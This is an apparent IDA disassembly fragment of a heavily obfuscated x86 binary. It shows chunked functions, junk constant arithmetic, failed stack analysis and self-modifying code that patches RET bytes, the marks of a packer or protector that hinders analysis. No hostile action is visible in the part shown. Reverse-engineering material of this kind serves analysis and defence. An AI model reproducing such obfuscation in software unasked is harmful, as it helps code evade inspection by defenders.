loc_43C270:				; CODE XREF: sub_4543C5:loc_44F807j
		add	eax, ebp
		add	eax, 0FA5A0D6h
		mov	eax, [eax]
		mov	eax, [eax+64h]
		push	ebx
		jmp	loc_43F710
; END OF FUNCTION CHUNK	FOR sub_4543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453F0A

loc_43C283:				; CODE XREF: sub_453F0A-2049j
		push	3BDEC91Eh
		pop	ebx
		rol	ebx, 6
		and	ebx, 85E4E951h
		call	sub_4580F1
; END OF FUNCTION CHUNK	FOR sub_453F0A
; START	OF FUNCTION CHUNK FOR sub_445110

loc_43C297:				; CODE XREF: sub_445110+EC8j
		xor	edx, 7EFA8C29h
		adc	edi, 3B985013h

loc_43C2A3:				; CODE XREF: dviuq5id:loc_440C32j
					; sub_4420DF+7j ...
		jmp	loc_4569BD
; END OF FUNCTION CHUNK	FOR sub_445110
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_43C2A8:				; CODE XREF: dviuq5id:00452422j
					; sub_44B2EA+CDFCj
		xchg	esi, [esp+0]
		mov	ecx, esi
		jmp	loc_44A9DC
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------

loc_43C2B2:				; CODE XREF: dviuq5id:loc_45A5F4j
		jz	loc_451ABC
		jmp	loc_43E74F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BBA

loc_43C2BD:				; CODE XREF: sub_442BBA:loc_4519D2j
		jz	loc_439501

loc_43C2C3:				; CODE XREF: dviuq5id:004423D5j
		jmp	loc_450E07
; END OF FUNCTION CHUNK	FOR sub_442BBA
; ---------------------------------------------------------------------------
		xor	ecx, ebx
		jmp	loc_439500
; ---------------------------------------------------------------------------

loc_43C2CF:				; CODE XREF: dviuq5id:00449480j
		jnz	loc_4507CD
		jmp	loc_4436AF

; =============== S U B	R O U T	I N E =======================================



sub_43C2DA	proc near		; CODE XREF: sub_43FDFB:loc_441634p
					; dviuq5id:00453AB3j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439D2D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439EAC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043CB9F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D457 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0043E9F6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00441EF2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00442360 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004423F8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004424C2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00444A2A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444AAC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004480D6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448C36 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004498CF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044991B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00449A91 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044A517 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044B0DC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044B4F5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044BA4C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C788 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044CB4F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044D913 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004512E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004513D8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00453363 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004576F2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0045A5F9 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		cmp	byte ptr [ebp-5], 0
		jnz	loc_4513D8
		jmp	loc_43CB9F
sub_43C2DA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_43C2ED:				; CODE XREF: sub_4525D0-16730j
		cmp	ebp, ecx

loc_43C2EF:				; CODE XREF: sub_44B99E-952Aj
		jmp	loc_4460B6
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
		mov	eax, 475BA966h
		push	ecx
		push	1E9B0077h
		pop	ecx
		rol	ecx, 15h
		jmp	loc_43DE08
; ---------------------------------------------------------------------------
		cmp	esi, 9EF3F38Bh
		jmp	loc_44F386
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441903

loc_43C313:				; CODE XREF: sub_441903+15j
		call	sub_44A58C
		call	sub_455332

loc_43C31D:				; CODE XREF: sub_453F0A-2053j
		jmp	sub_453F0A
; END OF FUNCTION CHUNK	FOR sub_441903
; ---------------------------------------------------------------------------

loc_43C322:				; CODE XREF: dviuq5id:0044C610j
		jmp	loc_449391
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_43C327:				; CODE XREF: sub_445437+468Aj
		mov	eax, [esp+0]
		push	esi
		mov	esi, edx
		xchg	esi, [esp+4+var_4]
		jmp	loc_4415F8
; END OF FUNCTION CHUNK	FOR sub_445437
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_316. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_43C336:				; CODE XREF: sub_44AB80-704Bj
		rol	edx, 5
		push	offset loc_44B79F
		jmp	nullsub_183
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_43C343:				; CODE XREF: sub_4422EC+E5EDj
					; dviuq5id:loc_457F4Bj
		mov	edx, ebp
		xchg	edx, [esp+0]
		mov	ebp, esp
		push	ecx
		jmp	loc_459AEE
; END OF FUNCTION CHUNK	FOR sub_4422EC

; =============== S U B	R O U T	I N E =======================================



sub_43C350	proc near		; CODE XREF: dviuq5id:00450040j
					; sub_44EAC4+23FEp

; FUNCTION CHUNK AT 0043EF06 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00449149 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ecx
		push	0BF47281h
		pop	ecx
		sub	ecx, ds:4000F0h
		add	ecx, 0A3437D46h
		jmp	loc_43EF06
sub_43C350	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459BC0

loc_43C36C:				; CODE XREF: sub_459BC0:loc_4399A0j
		or	edx, 453F64EEh
		xor	edx, 27932A8h
		add	edx, ebp
		push	ebx
		push	7FB3A6BEh
		pop	ebx
		and	ebx, 2FF576C2h
		xor	ebx, 87488F37h
		jmp	loc_455CE9
; END OF FUNCTION CHUNK	FOR sub_459BC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44250B

loc_43C392:				; CODE XREF: sub_44250B-6C47j
		jb	loc_4559BE
		shl	ebx, 1Dh
		sbb	ecx, 83523A92h
		jmp	loc_43F144
; ---------------------------------------------------------------------------

loc_43C3A6:				; CODE XREF: sub_44250B-71B5j
		add	eax, 28h
		mov	[ebp-4], eax
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-18h]
		jmp	loc_449539
; END OF FUNCTION CHUNK	FOR sub_44250B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440ACE

loc_43C3B7:				; CODE XREF: sub_440ACE:loc_45266Cj
		push	offset sub_4547F0
		jmp	nullsub_152
; END OF FUNCTION CHUNK	FOR sub_440ACE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_43C3C1:				; CODE XREF: sub_44514D:loc_457C65j
		push	3CB3ED0Bh

loc_43C3C6:				; CODE XREF: sub_443AC1:loc_456147j
		pop	eax
		add	eax, 0CDCF5690h
		test	eax, 80000h
		jmp	loc_4525FD
; END OF FUNCTION CHUNK	FOR sub_44514D

; =============== S U B	R O U T	I N E =======================================



sub_43C3D8	proc near		; CODE XREF: sub_44CCEE+215Ep
					; dviuq5id:00455420j

; FUNCTION CHUNK AT 0043A0F1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043B926 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043FD5F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442622 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00442D8E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446104 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004467ED SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00448A4A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004496B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D953 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00452B82 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00452C5A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00455D88 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045782C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004586E8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00459A04 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459E3E SIZE 00000016 BYTES

		xchg	eax, [esp+0]
		pop	eax
		jmp	loc_43FD5F
sub_43C3D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_446D87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_43C3E6:				; CODE XREF: sub_4440E9+Aj
					; sub_44B558+Ej ...
		jno	loc_43FD10
		jmp	loc_43A47F
; END OF FUNCTION CHUNK	FOR sub_4440E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456B31

loc_43C3F1:				; CODE XREF: sub_456B31-12501j
		jnz	loc_447EBC
		jmp	loc_439EEE
; END OF FUNCTION CHUNK	FOR sub_456B31
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_177. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43C3FD:				; CODE XREF: dviuq5id:0044CB20j
		jmp	loc_4449B7

; =============== S U B	R O U T	I N E =======================================



sub_43C402	proc near		; CODE XREF: sub_454E7C-18DBEp
					; dviuq5id:00451FA4j

; FUNCTION CHUNK AT 0044E94B SIZE 0000000F BYTES

		xchg	edx, [esp+0]
		pop	edx
		lea	edx, [ebp-14h]
		mov	eax, offset loc_44DE54
		jmp	loc_44E94B
sub_43C402	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43C413	proc near		; DATA XREF: sub_44250B+F759o
		push	4
		push	offset loc_452657
		jmp	nullsub_141
sub_43C413	endp

; ---------------------------------------------------------------------------

loc_43C41F:				; CODE XREF: dviuq5id:004578E4j
		adc	ecx, 0D3CDF0FBh
		mov	esi, [ebx]
		cdq

loc_43C428:				; CODE XREF: dviuq5id:loc_43D9E0j
		mov	eax, 63h
		call	sub_43CCD1
		jmp	loc_43F365
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		mov	ds:dword_44F9AC, edx
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_43C43F:				; CODE XREF: sub_44514D:loc_439211j
					; dviuq5id:0043B710j
		xchg	eax, edx
		push	offset sub_44245C
		jmp	loc_448035
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_43C44A:				; CODE XREF: sub_43C4B5+12B2Ej
		jz	loc_447B95

loc_43C450:				; CODE XREF: dviuq5id:00456313j
		jmp	loc_449359
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
		popf

loc_43C456:				; CODE XREF: dviuq5id:loc_44DFDDj
		or	edx, esi
		jmp	loc_447B95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_43C45D:				; CODE XREF: sub_44B2EA:loc_453D4Dj
		mov	[ebx], eax
		pop	ebx
		xor	eax, eax
		push	offset loc_44425F
		jmp	loc_43EBCF
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_343. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C46D	proc near		; CODE XREF: sub_44C4E2-20B4p
					; sub_44B85C+5p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043A05B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043FF27 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004406D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441E5D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044831E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004526B9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004555EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459E06 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	32072892h
		pop	ebx
		add	ebx, 1DFA7BD5h
		jmp	loc_4555EB
sub_43C46D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB42

loc_43C483:				; CODE XREF: sub_44BB42+6j
		xchg	ebp, [esp+0]
		mov	edx, ebp
		pop	ebp
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_44CA9A
		mov	eax, 11C9A2C5h
		call	sub_453642
		jmp	sub_4498DD
; END OF FUNCTION CHUNK	FOR sub_44BB42
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD	"+" TO EXPAND]
		dw 0A991h
dword_43C4A4	dd 77E60000h		; DATA XREF: sub_45295E+4r
; ---------------------------------------------------------------------------

loc_43C4A8:				; DATA XREF: sub_4486F9+F1Bo
					; sub_45668B+6o
		pop	edx
		sub	dl, [esi+ecx*2+2366132Ah]
		db	2Eh
		enter	0FFFFB136h, 0

; =============== S U B	R O U T	I N E =======================================



sub_43C4B5	proc near		; CODE XREF: sub_449187-FB47j
					; sub_43EF1D+1630j ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439752 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A6A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AA84 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AFCF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043B219 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043B95E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043BFE3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C44A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CB47 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D42A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043E177 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043EBD4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00440337 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440451 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004416EB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00441A63 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00441D34 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004423E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004430EF SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00445A1C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00445B7C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447B95 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00447D6F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447F56 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004487CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448974 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448C23 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00449359 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A2E4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044A54D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044B8FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D2E5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044D762 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E5E1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044E95F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044EFD4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044FA7B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450486 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00451DD5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004535F2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00454384 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004563BA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00457099 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00457224 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004575C8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004589F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459BEA SIZE 0000001B BYTES

		jo	loc_448C23

loc_43C4BB:				; CODE XREF: sub_445F35:loc_44ECA1j
		push	0B760B89Eh
		xchg	ebx, [esp+4+var_4]
		add	edx, 31640DE9h
		jmp	loc_44B8FE
sub_43C4B5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455658

loc_43C4CE:				; CODE XREF: sub_455658:loc_4481DBj
		mov	eax, ecx
		xchg	eax, [esp+0]
		mov	esp, ebp
		xchg	esi, [esp+0]
		mov	ebp, esi
		jmp	loc_44E90C
; END OF FUNCTION CHUNK	FOR sub_455658
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43C4DF:				; CODE XREF: sub_454094:loc_43BEFEj
		jnz	loc_439C4A
		jmp	loc_43F138
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C84

loc_43C4EA:				; CODE XREF: sub_441C84+2190j
		shr	ecx, 0Eh
		xchg	esi, ecx

loc_43C4EF:				; CODE XREF: sub_441C84:loc_457337j
		push	offset sub_4466B6
		jmp	nullsub_273
; END OF FUNCTION CHUNK	FOR sub_441C84

; =============== S U B	R O U T	I N E =======================================



sub_43C4F9	proc near		; CODE XREF: dviuq5id:00448DF4p
					; dviuq5id:00454EAFj

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		push	5E8ED6F8h
		pop	edi

loc_43C503:				; CODE XREF: dviuq5id:0043B0C1j
		rol	edi, 0Eh
		or	edi, 0E3D46DABh
		add	edi, 846B7F3h
		xchg	edi, [esp-4+arg_0]
		jmp	sub_453642
sub_43C4F9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E9E7

loc_43C51A:				; CODE XREF: sub_43E9E7:loc_455458j
		xor	ecx, 32C9F2C2h
		or	ecx, ds:4000F2h
		xor	ecx, 0B396C2A7h
		sub	ecx, 9BFDF020h
		jmp	loc_4417C7
; END OF FUNCTION CHUNK	FOR sub_43E9E7
; ---------------------------------------------------------------------------

loc_43C537:				; CODE XREF: dviuq5id:00451FD5j
		jnz	loc_44CB13

; =============== S U B	R O U T	I N E =======================================



sub_43C53D	proc near		; CODE XREF: dviuq5id:0044C68Bp

; FUNCTION CHUNK AT 0043A47A SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	eax
		call	sub_44E3BA
		jmp	loc_43A47A
sub_43C53D	endp

; ---------------------------------------------------------------------------

loc_43C54C:				; CODE XREF: dviuq5id:loc_43D6ABj
		adc	ecx, 5796AA5Dh
		ja	loc_44BC3C
		jmp	sub_458E76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_43C55D:				; CODE XREF: sub_43CB4C:loc_4576C0j
		or	ebx, 3105B2CAh
		jmp	loc_43E97F
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4547E2

loc_43C568:				; CODE XREF: sub_4547E2-4985j
					; sub_4547E2+9j
		jnb	loc_43E0D2
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		cmp	ds:dword_446E14[eax*4],	0
		jz	loc_44FE5A
		jmp	loc_43A3B5
; END OF FUNCTION CHUNK	FOR sub_4547E2
; ---------------------------------------------------------------------------
		call	sub_44DB86
; START	OF FUNCTION CHUNK FOR sub_44C592

loc_43C58C:				; CODE XREF: sub_44C592:loc_43EE44j
		cmp	ecx, 7834960Eh
		jmp	loc_444C83
; END OF FUNCTION CHUNK	FOR sub_44C592

; =============== S U B	R O U T	I N E =======================================



sub_43C597	proc near		; DATA XREF: dviuq5id:0044ECC8o

; FUNCTION CHUNK AT 00458522 SIZE 00000005 BYTES

		add	esi, 627944EDh
		mov	[esi], eax
		pop	esi
		lea	eax, loc_44609C
		mov	byte ptr [eax],	0C3h
		jmp	loc_458522
sub_43C597	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43C5AE	proc near		; DATA XREF: .data:off_42784Co

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00445C63 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453FA6 SIZE 0000001A BYTES

		push	edx
		mov	edx, esi
		xchg	edx, [esp+4+var_4]

loc_43C5B4:				; CODE XREF: dviuq5id:00444B3Bj
		jmp	loc_453FA6
sub_43C5AE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452089

loc_43C5B9:				; CODE XREF: sub_452089-4A5Cj
		mov	eax, [eax+18h]
		cmp	dword ptr [eax+10h], 0
		jz	nullsub_237
; END OF FUNCTION CHUNK	FOR sub_452089
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_43C5C6:				; CODE XREF: sub_43E10E-D6j
		jmp	loc_459795
; END OF FUNCTION CHUNK	FOR sub_43E10E
; ---------------------------------------------------------------------------

loc_43C5CB:				; CODE XREF: dviuq5id:00457C2Dj
		push	esi

; =============== S U B	R O U T	I N E =======================================



sub_43C5CC	proc near		; CODE XREF: sub_4411C6:loc_44F98Cp

; FUNCTION CHUNK AT 0043A695 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00447802 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F955 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0045905E SIZE 0000001A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		cmp	dword ptr [ebp-8], 0
		jnz	loc_43C5E0
		mov	eax, [ebp-4]
		mov	[ebp-8], eax

loc_43C5E0:				; CODE XREF: sub_43C5CC+8j
		call	sub_441D8E
		jmp	loc_45905E
sub_43C5CC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_43C5EA:				; CODE XREF: sub_442BFE-3EF3j
		mov	eax, 7EDE2EC1h

loc_43C5EF:				; CODE XREF: sub_442BFE:loc_43ED01j
		xor	ebx, 4A110879h
		sub	eax, ebx
		pop	ebx
		push	offset loc_45278E
		jmp	nullsub_354
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_43C602:				; CODE XREF: sub_43CB4C:loc_44467Dj
					; sub_43CB4C+CA03j
		push	943910FFh
		pop	eax
		and	eax, 0E78AE2E4h
		xor	eax, 84080005h
		call	sub_43CCD1
		jmp	loc_43ECA0
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
		jmp	loc_44F00B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455981

loc_43C623:				; CODE XREF: sub_455981+5j
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_441E7C
		or	eax, eax
		jnz	loc_442A98
		call	sub_456F43
		mov	edx, 0B9726E5Ah
		jmp	loc_44CA95
; END OF FUNCTION CHUNK	FOR sub_455981
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_43C645:				; CODE XREF: sub_440898:loc_44C7F2j
		jge	loc_459FC8
; END OF FUNCTION CHUNK	FOR sub_440898
; START	OF FUNCTION CHUNK FOR sub_43E08B

loc_43C64B:				; CODE XREF: sub_43E08B+5j
		jmp	loc_43C6B7
; END OF FUNCTION CHUNK	FOR sub_43E08B
; ---------------------------------------------------------------------------
		xor	esi, 88E7E5B2h
		jg	loc_43EB02
		jmp	loc_459FC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_43C661:				; CODE XREF: sub_44B2EA-E26Ej
		jbe	loc_4481D1

loc_43C667:				; CODE XREF: dviuq5id:loc_450E62j
		mov	eax, [ebp-4]
		push	offset loc_459403
		jmp	nullsub_410
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44119E

loc_43C674:				; CODE XREF: sub_44119E:loc_4512CCj
		jz	loc_44D7DC
		jmp	loc_43DEAC
; END OF FUNCTION CHUNK	FOR sub_44119E
; ---------------------------------------------------------------------------

loc_43C67F:				; CODE XREF: dviuq5id:00453CE5j
		xor	eax, 0C2E9F120h
		sub	eax, 82B09526h
		add	eax, 0F86267CDh
		push	eax
		pushf
		jmp	loc_43A797
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4455D9

loc_43C698:				; CODE XREF: sub_4455D9+12j
		xchg	ecx, [esp+0]
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_4455D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_43C6A0:				; CODE XREF: sub_44B2EA+7779j
		jp	nullsub_157

loc_43C6A6:				; CODE XREF: sub_44B2EA:loc_447728j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_45A2F9
		jmp	loc_43F947
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E08B

loc_43C6B7:				; CODE XREF: sub_43E08B:loc_43C64Bj
		xor	eax, 0B04A218Dh
		ror	eax, 0Bh
		sub	eax, 3E925489h
		xor	eax, 0F338762Fh
		jmp	loc_44266C
; END OF FUNCTION CHUNK	FOR sub_43E08B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450667

loc_43C6D1:				; CODE XREF: sub_450667+1ADBj
		and	eax, 0B79BA327h
		rol	eax, 1Fh
		call	sub_4539EF

loc_43C6DF:				; CODE XREF: dviuq5id:004466F1j
		jb	near ptr aPsh3UBUisB+0Eh

loc_43C6E5:				; CODE XREF: dviuq5id:loc_4466DEj
		add	eax, 0EFDBC05Eh
		xchg	eax, [esp+0]
		jmp	loc_44B07E
; END OF FUNCTION CHUNK	FOR sub_450667
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4442C5

loc_43C6F3:				; CODE XREF: sub_4442C5+7216j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_10
; END OF FUNCTION CHUNK	FOR sub_4442C5

; =============== S U B	R O U T	I N E =======================================



sub_43C6FB	proc near		; CODE XREF: sub_40B2BC:loc_40B39Ap
					; sub_43C6FB+5j
					; DATA XREF: ...
		call	sub_43C710
		jmp	ds:off_41D13C
sub_43C6FB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_43C706:				; CODE XREF: sub_45383B+4599j
		jmp	loc_44D854
; END OF FUNCTION CHUNK	FOR sub_45383B
; ---------------------------------------------------------------------------

loc_43C70B:				; CODE XREF: dviuq5id:00441928j
		jmp	nullsub_5

; =============== S U B	R O U T	I N E =======================================



sub_43C710	proc near		; CODE XREF: sub_43C6FBp
					; dviuq5id:loc_43D289j	...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A043 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043B52C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043B937 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00440695 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00440B37 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00441150 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004430A2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044506D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447FF8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044A367 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044CB6C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044FE99 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004552D5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457034 SIZE 0000001E BYTES
